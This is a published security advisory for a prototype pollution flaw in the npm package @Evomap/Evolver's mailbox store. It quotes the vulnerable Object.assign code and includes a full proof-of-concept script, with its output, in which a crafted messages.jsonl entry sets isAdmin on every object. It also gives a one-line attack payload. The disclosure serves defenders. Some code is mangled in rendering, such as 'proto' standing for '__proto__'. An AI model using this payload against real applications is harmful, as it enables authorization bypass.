PT-2026-36650 · Npm · @Evomap/Evolver

Published

2026-04-22

·

Updated

2026-04-22

CVSS v3.1

5.2

Medium

VectorAV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H

Summary

A prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into Object.prototype. The vulnerability exists in the applyUpdate() and updateRecord() functions which use Object.assign() to merge user-controlled data without filtering dangerous keys like proto, constructor, or prototype.

Details

The vulnerability exists in src/proxy/mailbox/store.js at lines 123 and 145:
javascript
// src/proxy/mailbox/store.js:115-128
 applyUpdate(row) {
 if (row. op === 'update') {
  const existing = this. index[row.id];
  // VULNERABLE: Direct Object.assign without key filtering
  if (existing) Object.assign(existing, row.fields);
  else this. index[row.id] = row.fields;
 }
 // ...
}

// src/proxy/mailbox/store.js:138-150
 updateRecord(id, fields) {
 const existing = this. index[id];
 // VULNERABLE: Direct Object.assign without key filtering
 if (existing) Object.assign(existing, fields);
 // ...
}
The vulnerability can be triggered when an attacker has the ability to write to the messages.jsonl file (used for mailbox persistence). By crafting a malicious JSONL entry with proto as a field key, the attacker can pollute the prototype of all objects.
The data flows from:
  1. messages.jsonl file →
  2. readLines() function (line 47) →
  3. rebuildIndex() (line 113) → applyUpdate() (line 121) →
  4. Object.assign() pollutes prototype

PoC

Prerequisites:
  • Node.js installed
  • Access to write to the mailbox messages file
Steps to reproduce:
  1. Create a test file demonstrating the vulnerability:
javascript
// test-prototype-pollution.js
const fs = require('fs');
const path = require('path');

// Simulate the vulnerable Store class logic
class VulnerableStore {
 constructor(filePath) {
  this.filePath = filePath;
  this. index = {};
 }

 load() {
  if (!fs.existsSync(this.filePath)) return;
  const lines = fs.readFileSync(this.filePath, 'utf8').split('
');
  for (const line of lines) {
   if (!line.trim()) continue;
   try {
    const row = JSON.parse(line);
    this. applyUpdate(row);
   } catch (e) {
    // Ignore parse errors
   }
  }
 }

  applyUpdate(row) {
  if (row. op === 'update') {
   const existing = this. index[row.id];
   // VULNERABLE: No filtering of dangerous keys
   if (existing) Object.assign(existing, row.fields);
   else this. index[row.id] = row.fields;
  }
 }

 update(id, fields) {
  this. updateRecord(id, fields);
 }

  updateRecord(id, fields) {
  const existing = this. index[id];
  // VULNERABLE: No filtering of dangerous keys
  if (existing) Object.assign(existing, fields);
  else this. index[id] = fields;
 }
}

// Test the vulnerability
console.log('=== Testing Prototype Pollution ===
');

// Create a malicious messages.jsonl file
const maliciousContent = JSON.stringify({
  op: 'update',
 id: 'msg-123',
 fields: {
   proto : {
   polluted: true,
   isAdmin: true
  },
  normalField: 'normalValue'
 }
}) + '
';

const testDir = '/tmp/evolver-pollution-test';
if (!fs.existsSync(testDir)) fs.mkdirSync(testDir, { recursive: true });
const testFile = path.join(testDir, 'messages.jsonl');

fs.writeFileSync(testFile, maliciousContent);
console.log('Created malicious messages.jsonl');

// Load the store (this triggers the vulnerability)
const store = new VulnerableStore(testFile);
store.load();

// Check if prototype was polluted
console.log('
=== Checking for prototype pollution ===');
const testObj = {};
console.log('testObj.polluted:', testObj.polluted);
console.log('testObj.isAdmin:', testObj.isAdmin);

if (testObj.polluted === true) {
 console.log('
🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!');
 console.log('All objects now have "polluted" and "isAdmin" properties.');
} else {
 console.log('
🟡 Prototype pollution may require different payload structure');
}

// Demonstrate impact - bypassing authentication check
console.log('
=== Impact Demonstration ===');
function checkAdmin(user) {
 // Typical pattern that would be vulnerable
 if (user.isAdmin) {
  return 'Access granted - Admin privileges';
 }
 return 'Access denied';
}

const regularUser = { name: 'normal user' };
console.log('Regular user check:', checkAdmin(regularUser));

// Cleanup
fs.rmSync(testDir, { recursive: true });
  1. Run the test:
bash
node test-prototype-pollution.js
Expected output:
=== Checking for prototype pollution ===
testObj.polluted: true
testObj.isAdmin: true

🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!
All objects now have "polluted" and "isAdmin" properties.

=== Impact Demonstration ===
Regular user check: Access granted - Admin privileges
Note: Modern Node.js versions have some prototype pollution protections. For a successful exploit, the attacker might need to use alternative property paths like constructor.prototype.isAdmin.
Attack scenario: If an attacker can write to the mailbox messages file (e.g., through file upload, path traversal, or compromised backup restore), they can:
jsonl
{" op":"update","id":"malicious","fields":{" proto ":{"isAdmin":true,"canExecuteArbitraryCode":true}}}

Impact

This is a Prototype Pollution vulnerability that can lead to:
  • Property injection affecting all JavaScript objects
  • Authentication/authorization bypass
  • Application logic manipulation
  • Denial of service via prototype corruption
  • Potential remote code execution if polluted properties affect security-critical code paths
Attack requirements: The attacker needs write access to the messages.jsonl file. This could be achieved through:
  • File upload vulnerabilities
  • Path traversal (combined with the Arbitrary File Write vulnerability in the fetch command)
  • Compromised backup files
  • Shared hosting environments
Affected users: Anyone using the mailbox functionality in multi-user environments or with persistent message storage.

Fix

Prototype Pollution

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-2CJR-5V3H-V2W4

Affected Products

@Evomap/Evolver